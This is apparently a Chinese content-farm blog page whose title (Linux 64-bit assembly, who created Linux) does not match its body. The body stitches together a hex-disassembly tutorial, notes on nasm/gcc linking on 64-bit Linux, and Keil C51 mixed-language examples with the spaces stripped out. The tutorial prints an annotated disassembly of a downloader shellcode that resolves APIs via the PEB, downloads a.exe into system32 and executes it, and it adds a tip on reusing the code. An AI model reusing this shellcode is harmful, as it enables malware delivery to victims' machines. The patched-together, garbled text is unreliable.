linux 64 汇编,linux谁开发的

大家好,感谢邀请,今天来为大家分享一下linux 64 汇编的问题,以及和linux谁开发的的一些困惑,大家要是还不太明白的话,也没有关系,因为接下来将为大家分享,希望可以帮助到大家,解决大家的问题,下面就开始吧!

hex文件如何反汇编

文件有两种,一种是文本文件,一种是程序二进制文件,不管哪种文件都可以用十六进制编码来显示,称为hex文件。

1、文本Hex文件一般不需要转成C语言,更多的是程序二进制文件,用十六进制显示,可以转换成C语言,一般使用相应的反汇编程序来实现,这方面的工具很多,不同的平台略有不同。Windows平台一般常用的OllyDbg、Windbg、IDA,Linux平台使用最多的是GDB和Linux版的IDA。

OllyDbg,简称OD,一般是软件逆向工程爱好者,最先使用的一个工具,但是因为当下不在更新,所以一般用一般用于学习使用,下图中左上角的区域即为反汇编区域,用户可以根据汇编指令,分析程序算法,然后自己编写代码。

在Windows平台,特别是x64平台,最好用的反汇编工具除还得是Windbg。将程序载入Windbg后,可以输入u命令来查看程序的反汇编代码。

2、对于编程人员来说,逆向分析是一个基本的技能,但是往往不容易入门,这里举一个例子。以一段早些年ShellCode的十六进制代码为例,代码如下图所示,这段不起眼的代码,实际上实现了一个下载者的功能。

拿到这样的十六进制代码,一般来说,先将其生成二进制文件,然后再分析其指令,通过反汇编指令再写出源码。只需要将上面的十六进制代码,保存到C语言的字符串数组中,写入到一个Exe的文件空段中,再修改指令将其跳转到程序入口处即可,这个过程类似于软件安全领域的壳。

将十六进制代码写入一个exe文件后,就可以将exe文件载入动态调试器进行动态分析或者使用静态反汇编程序进行静态分析,两者的不同在于动态调试器是要运行程序的,而静态反汇编分析不需要运行程序,所以一般恶意程序,都采用静态分析。反汇编开头的一段十六进制代码注释如下:

4AD750215Apopedx;函数返回的地址保存到edx中

4AD7502264:A130000000moveax,dwordptrfs:[30];取peb

4AD750288B400Cmoveax,dwordptr[eax+C];peb_link

4AD7502B8B701Cmovesi,dwordptr[eax+1C];初始化列表到esi

4AD7502EADlodsdwordptr[esi];[esi]->eax+8的位置即kernel32.dll的地址

4AD7502F8B4008moveax,dwordptr[eax+8];eax=kernel32.dll的地址

4AD750328BD8movebx,eax;ebx=kernel32.dll的基址

4AD750348B733Cmovesi,dwordptr[ebx+3C];esi=pe头偏移

4AD750378B741E78movesi,dwordptr[esi+ebx+78];esi为kernel32.dll导出表的偏移

4AD7503B03F3addesi,ebx;esi=kernel32.dll导出表的虚拟地址

4AD7503D8B7E20movedi,dwordptr[esi+20];edi=ent的偏移地址

4AD7504003FBaddedi,ebx;edi=ent的虚拟地址

4AD750428B4E14movecx,dwordptr[esi+14];ecx=kernel32.dll导出地址的个数

4AD7504533EDxorebp,ebp;ebp=0

4AD7504756pushesi;保存导出表虚拟地址

4AD7504857pushedi;保存ent虚拟地址

4AD7504951pushecx;保存计数

4AD7504A8B3Fmovedi,dwordptr[edi]

4AD7504C03FBaddedi,ebx;定位ent中的函数名

4AD7504E8BF2movesi,edx;esi为要查询的函数GetProcAddress即该call的下一个地址是数据

4AD750506A0Epush0E;0xe0是GetProcAddress函数的字符个数

4AD7505259popecx;设置循环次数为0xe

4AD75053F3:A6repecmpsbyteptres:[edi],byteptr[esi];ecx!=0&&zf=1ecx=ecx-1cmps判断GetProcAddress

4AD750557408jeshort4AD7505F;如果ENT中的函数名为GetProcAddress跳走

4AD7505759popecx;不相等则将导出地址数出栈

4AD750585Fpopedi;ent虚拟地址出栈

4AD7505983C704addedi,4;edi地址递增4字节因为ENT的元素大小为4字节

4AD7505C45incebp;ebp用于保存ent中定位到GetProcAddress函数时的计数

4AD7505D^E2E9loopdshort4AD75048;循环查询

4AD7505F59popecx

4AD750605Fpopedi

4AD750615Epopesi

4AD750628BCDmovecx,ebp;计数保存于ecx

4AD750648B4624moveax,dwordptr[esi+24];esi+0x24Ordinal序号表偏移地址

4AD7506703C3addeax,ebx;ordinal序号表的虚拟地址

4AD75069D1E1shlecx,1;ecx逻辑增加2倍因为ordinal序号是WOR类型下面是通过add来求ordinal所以这里必须扩大2倍

4AD7506B03C1addeax,ecx

4AD7506D33C9xorecx,ecx;ecx=0

4AD7506F66:8B08movcx,wordptr[eax];保存取出的ordinal序号

4AD750728B461Cmoveax,dwordptr[esi+1C];eax为kenrnel32.dll的EAT的偏移地址

4AD75075>03C3addeax,ebx;eax=kernel32.dll的eat虚拟地址

4AD75077C1E102shlecx,2;同上,扩大4倍因为eat中元素为DWORD值

4AD7507A03C1addeax,ecx

4AD7507C8B00moveax,dwordptr[eax];eax即为GetProcAddress函数的地址相对虚拟地址,EAT中保存的RVA

4AD7507E03C3addeax,ebx;与基址相加求得GetProcAddress函数的虚拟地址

4AD750808BFAmovedi,edx;GetProcAddress字符到edi

4AD750828BF7movesi,edi;esi保存GetProcAddress地址

4AD7508483C60Eaddesi,0E;esi指向GetProcAddress字符串的末地址

4AD750878BD0movedx,eax;edx为GetProcAddress的地址

4AD750896A04push4

4AD7508B59popecx;ecx=4

有经验的程序员,通过分析即明白上面反汇编代码的主要目的就是获取GetProcAddress函数的地址。继续看反汇编代码:

4AD7508CE850000000call4AD750E1;设置IAT得到4个函数的地址

4AD7509183C60Daddesi,0D;从这里开始实现ShellCode的真正功能

4AD7509452pushedx

4AD7509556pushesi;urlmon

4AD75096FF57FCcalldwordptr[edi-4];调用LoadLibrarA来加载urlmon.dll

4AD750995Apopedx;edx=GetProcAddress的地址

4AD7509A8BD8movebx,eax

4AD7509C6A01push1

4AD7509E59popecx

4AD7509FE83D000000call4AD750E1;再次设置IAT得到URLDownLoadToFileA

4AD750A483C613addesi,13;esi指向URLDownLoadToFileA的末地址

4AD750A756pushesi

4AD750A846incesi

4AD750A9803E80cmpbyteptr[esi],80;判断esi是否为0x80这里在原码中有0x80如果要自己用,应该加上一个字节用于表示程序结束

4AD750AC^75FAjnzshort4AD750A8;跨过这个跳转,需要在OD中CTRL+E修改数据为0x80

4AD750AE803680xorbyteptr[esi],80

4AD750B15Epopesi

4AD750B283EC20subesp,20;开辟32byte栈空间

4AD750B5>8BDCmovebx,esp;ebx为栈区的指针

4AD750B76A20push20

4AD750B953pushebx

4AD750BAFF57ECcalldwordptr[edi-14];调用GetSystemDirectoryA得到系统目录

4AD750BDC704035C612E65movdwordptr[ebx+eax],652E615C;ebx+0x13系统路径占0x13个字节

4AD750C4C744030478650000movdwordptr[ebx+eax+4],6578;拼接下载后的文件路径%systemroot%\system32\a.exe

4AD750CC33C0xoreax,eax

4AD750CE50pusheax

4AD750CF50pusheax

4AD750D053pushebx

4AD750D156pushesi

4AD750D250pusheax

4AD750D3>FF57FCcalldwordptr[edi-4];URLDownLoadToFile下载文件为a.exe

4AD750D68BDCmovebx,esp

4AD750D850pusheax

4AD750D953pushebx

4AD750DAFF57F0calldwordptr[edi-10];WinExec执行代码

4AD750DD50pusheax

4AD750DEFF57F4calldwordptr[edi-C];ExitThread退出线程

接下来的操作便是通过已获得地址的GetProcAddress()来分别得到GetSystemDirectory()、URLDownLoadToFile()、WinExec()及ExitProcess()函数的地址,并依次执行。到这里实际上有经验的程序员,马上就能写出C语言代码来。后面的数据区不在分析了,主要是介绍如何操作。

使用C语言,虽然知道了Hex文件的大致流程,但是一般来说,对于汇编指令,更倾向于直接使用asm关键字来使用内联汇编。如下图所示:

通过这个实例,相信应该能理解一个大致的流程啦。

如何在64位的Linux系统上使用汇编和C语言混合编程 第2页

编译和链接的时候使用的指令:(AMD处理器,64位操作系统)

编译链接指令

1 nasm-f elf foo.s-o foo.o

2 gcc-c bar.c-o bar.o

3 ld-s-o foobar bar.o foo.o

汇编语言用nasm编写并用nasm编译器编译,而C语言用的是gcc编译,这些都没有问题,但是在链接的时候出错了,提示如下:

ld: i386 architecture of input file `foo.o' is incompatible with i386:x86-64 output

google了一下,意思就是nasm编译产生的是32位的目标代码,gcc在64位平台上默认产生的是64位的目标代码,这两者在链接的时候出错,gcc在64位平台上默认以64位的方式链接。

这样在解决的时候就会有两种解决方案:

<1>让gcc产生32位的代码,并在链接的时候以32位的方式进行链接

在这种情况下只需要修改编译和链接指令即可,具体如下:

32位的编译链接指令

1 nasm-f elf foo.s-o foo.o

2 gcc-m32-c bar.c-o bar.o

3 ld-m elf_i386-s-o foobar foo.o bar.o

具体的-m32和-m elf_i386请自行查阅gcc(man gcc)

如果你是高版本的gcc(可能是由于更新内核造成的),可能简单的使用-m32的时候会提示以下错误(使用别人的历程,自己未曾遇到):

> In file included from/usr/include/stdio.h:28:0,

> from test.c:1:

>/usr/include/features.h:323:26: fatal error: bits/predefs.h: No such file or directory

> compilation terminated.

这应该是缺少构建32位可执行程序缺少的包,使用以下指令安装:

sudo apt-get install libc6-dev-i386

此时应该就没有什么问题了。

如何在64位的linux系统上使用汇编和C语言混合编程

C51与汇编语言混合编程(1).C51语言中调用汇编语言程序1、在文件中选中FILEGROUP和C51程序原文件,在配置文件选项中激活“i”产生汇编(SRC)文件,“编译(SRC)文件”和“创建工程(目标)时包含“三个选项。2、根据选择的编译模式,把相应的库文件(如SMALL模式,库文件为KEIL\C51\LIB\C51S.LIB)加入到工程中。3、在C51语言中必须声明需要调用的函数为外部函数。externvoidDELAY(void);4、在汇编语言程序中必须声明被调用子程序为公共子程序,在被调用的文件中还需要声明此文件是新定位的。PUBLICDELAY,DELDELAYYSEGMENTCODERSEGAELAYY实例如下:#include"reg51.h"externvoidDELAY(void);externvoidDEL(void);voidmain(void){P1=0x00;DELAY();DEL();P!=0xff;}汇编语言文件:PUBLICDELAY,DELDELAYYSEGMENTCODERSEGAELAYYDELAY:MOVR2,#3HDJNZR2,$RETDEL:MOVR3,#3HDJNZR3,$RETEND(2)、C51语言中嵌入汇编程序:在C51语言中嵌套使用汇编语言程序要注意以下几个问题:1、在文件中选中FILEGROUP和C51程序原文件,在配置文件选项中激活“i”产生汇编(SRC)文件,“编译(SRC)文件”和“创建工程(目标)时包含“三个选项。2、根据选择的编译模式,把相应的库文件(如SMALL模式,库文件为KEIL\C51\LIB\C51S.LIB)加入到工程中。3、用#pragmaasm.和#pragmaendasm语句包含嵌入的汇编语言程序。实例如下:#include"reg51.h"voiddelay(void);voidmain(void){voiddelay(void);P1=0x00;#pragmaasmMOVR3,#08HDINZR3,$#pragmaendasmP1=0xff;}voiddelay(void){#pragmaasmMOVR4,#08HDJNZR4,$#pragmaendasm}

阅读剩余
THE END